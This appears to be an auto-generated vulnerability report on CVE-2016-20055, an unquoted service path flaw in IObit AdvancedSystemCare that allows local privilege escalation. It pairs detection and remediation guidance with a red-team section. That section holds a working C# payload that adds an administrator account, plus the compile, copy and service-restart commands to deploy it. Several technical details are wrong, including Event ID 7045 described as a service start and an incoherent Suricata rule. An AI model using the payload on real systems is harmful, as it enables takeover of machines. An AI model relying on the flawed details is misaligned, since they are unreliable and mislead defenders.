CVE-2016-20055

Executive Summary

CVE-2016-20055 is a local privilege escalation vulnerability in IObit AdvancedSystemCare version 10.0.2. The vulnerability stems from an unquoted service path in the AdvancedSystemCareService10 service. A local attacker with minimal privileges can exploit this by placing a malicious executable in an unquoted path segment, which Windows will interpret as a command-line argument. When the service restarts or the system reboots, the malicious executable runs with LocalSystem privileges, granting the attacker full control over the system. This vulnerability has a CVSS v3.1 base score of 7.8 (High) and is classified under CWE-428 (Unquoted Search Path or Element). No official patch has been released by IObit, and the vendor has not acknowledged the issue. The exploit is publicly documented, and proof-of-concept code is available.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone Windows application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs only user-level privileges.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full system compromise.
• Integrity Impact: High (I:H) – Attacker can modify system files.
• Availability Impact: High (A:H) – Attacker can disrupt system operations.

Threat Level: High. The vulnerability is easy to exploit, requires low privileges, and results in full system compromise. The lack of a patch increases the risk.

Deep Dive & Mechanics

The vulnerability exists in the AdvancedSystemCareService10 service, which is installed with an unquoted service path. The service binary is typically located at:

C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

However, the service path in the registry (HKLM\SYSTEM\CurrentControlSet\Services\AdvancedSystemCareService10) is stored without quotes. Windows Service Control Manager (SCM) interprets unquoted paths by splitting on spaces. For example, if the path is:

C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

Windows will attempt to execute the following in order:

1. C:\Program.exe
2. C:\Program Files (x86)\IObit\Advanced.exe
3. C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

An attacker can place a malicious executable named Advanced.exe in C:\Program Files (x86)\IObit\. When the service starts (e.g., after a reboot or manual restart), Windows will execute Advanced.exe with LocalSystem privileges, bypassing user-level restrictions.

Key Registry Location:

HKLM\SYSTEM\CurrentControlSet\Services\AdvancedSystemCareService10
Value: ImagePath
Data: C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

Attack Flow:

1. Attacker gains low-privilege access to the target system.
2. Attacker writes a malicious executable (e.g., Advanced.exe) to C:\Program Files (x86)\IObit\.
3. Attacker triggers a service restart (e.g., via sc stop AdvancedSystemCareService10 and sc start AdvancedSystemCareService10) or waits for a system reboot.
4. Windows SCM executes Advanced.exe with LocalSystem privileges.
5. The malicious payload runs with full system rights.

Vulnerable vs. Patched Code

Vulnerable Configuration:

• Service: AdvancedSystemCareService10
• ImagePath: C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe (unquoted)
• No patch available.

Patched Configuration (Hypothetical):

• ImagePath: "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe" (quoted)
• The quotes ensure Windows treats the entire string as a single path.

Code Snippet (Registry Check):

# Check for unquoted service path
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\AdvancedSystemCareService10" -Name ImagePath

Mitigation Code (If patching):

# Add quotes to the service path
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\AdvancedSystemCareService10" -Name ImagePath -Value '"C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"'

Exploitation & Lab Setup

Red Team

Prerequisites:

• Windows system with IObit Advanced SystemCare 10.0.2 installed.
• Low-privilege user account.

Exploit Steps:

1. Create a malicious executable (e.g., Advanced.exe) that adds a new admin user or spawns a reverse shell.
2. Place the executable in C:\Program Files (x86)\IObit\.
3. Restart the service:

   sc stop AdvancedSystemCareService10
   sc start AdvancedSystemCareService10
   

4. The malicious executable runs with LocalSystem privileges.

Example Payload (C#):

using System;
using System.Diagnostics;
using System.Security.Principal;

namespace MaliciousPayload
{
    class Program
    {
        static void Main()
        {
            // Create a new admin user
            Process.Start("net", "user hacker P@ssw0rd /add");
            Process.Start("net", "localgroup Administrators hacker /add");
        }
    }
}

Compile and deploy:

csc.exe /target:exe /out:Advanced.exe payload.cs
copy Advanced.exe "C:\Program Files (x86)\IObit\"

Blue Team

Detection Steps:

1. Monitor for unquoted service paths using PowerShell:

   Get-WmiObject -Class Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }
   

2. Check for suspicious executables in C:\Program Files (x86)\IObit\:

   dir "C:\Program Files (x86)\IObit\*.exe" /b
   

3. Audit service start events (Event ID 7045) for unexpected binaries.

Hunting Query (Event Log):

<QueryList>
  <Query Id="0" Path="System">
    <Select Path="System">*[System[EventID=7045]]</Select>
  </Query>
</QueryList>

Indicators of Compromise (IOCs)

• File: C:\Program Files (x86)\IObit\Advanced.exe (or any executable in that directory not part of the original installation)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\AdvancedSystemCareService10 with unquoted ImagePath
• Process: Advanced.exe running with SYSTEM user context
• Event Log: Event ID 7045 (service start) with ImagePath pointing to an unquoted path
• Network: Outbound connections from Advanced.exe (if reverse shell is used)

Detection Engineering

YARA Rule

rule CVE_2016_20055_UnquotedServicePath {
    meta:
        description = "Detects unquoted service path for AdvancedSystemCareService10"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2016-20055"
    strings:
        $service_name = "AdvancedSystemCareService10"
        $unquoted_path = "C:\\Program Files (x86)\\IObit\\Advanced SystemCare\\ASCService.exe" nocase
    condition:
        $service_name and $unquoted_path
}

Sigma Rule

title: Unquoted Service Path - AdvancedSystemCareService10
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unquoted service path for IObit Advanced SystemCare
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2016-20055
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ImagePath|contains: 'C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe'
        ImagePath|re: '^[^"]'
    condition: selection
falsepositives:
    - None expected
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2016-20055 - Potential Unquoted Service Path Exploit";
    flow:to_server,established;
    content:"Advanced.exe"; fast_pattern; nocase;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Manually quote the service path:

   sc config AdvancedSystemCareService10 binPath="\"C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe\""
   

2. Restrict write permissions to C:\Program Files (x86)\IObit\ to prevent unauthorized file placement.
3. Monitor for unquoted service paths across the enterprise using Group Policy or security tools.

Long-Term Fix:

• Upgrade to a patched version of IObit Advanced SystemCare (if available). As of now, no patch exists.
• Consider replacing the software with a secure alternative.

Detection & Prevention:

• Deploy the YARA and Sigma rules above.
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block untrusted executables from running in sensitive paths.
• Use AppLocker or WDAC to restrict execution to signed binaries only.

Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence expert. For further analysis or remediation support, contact Valters IT.

{/* [Security Hash: 72D4C0F44BC214001B339FBF] */}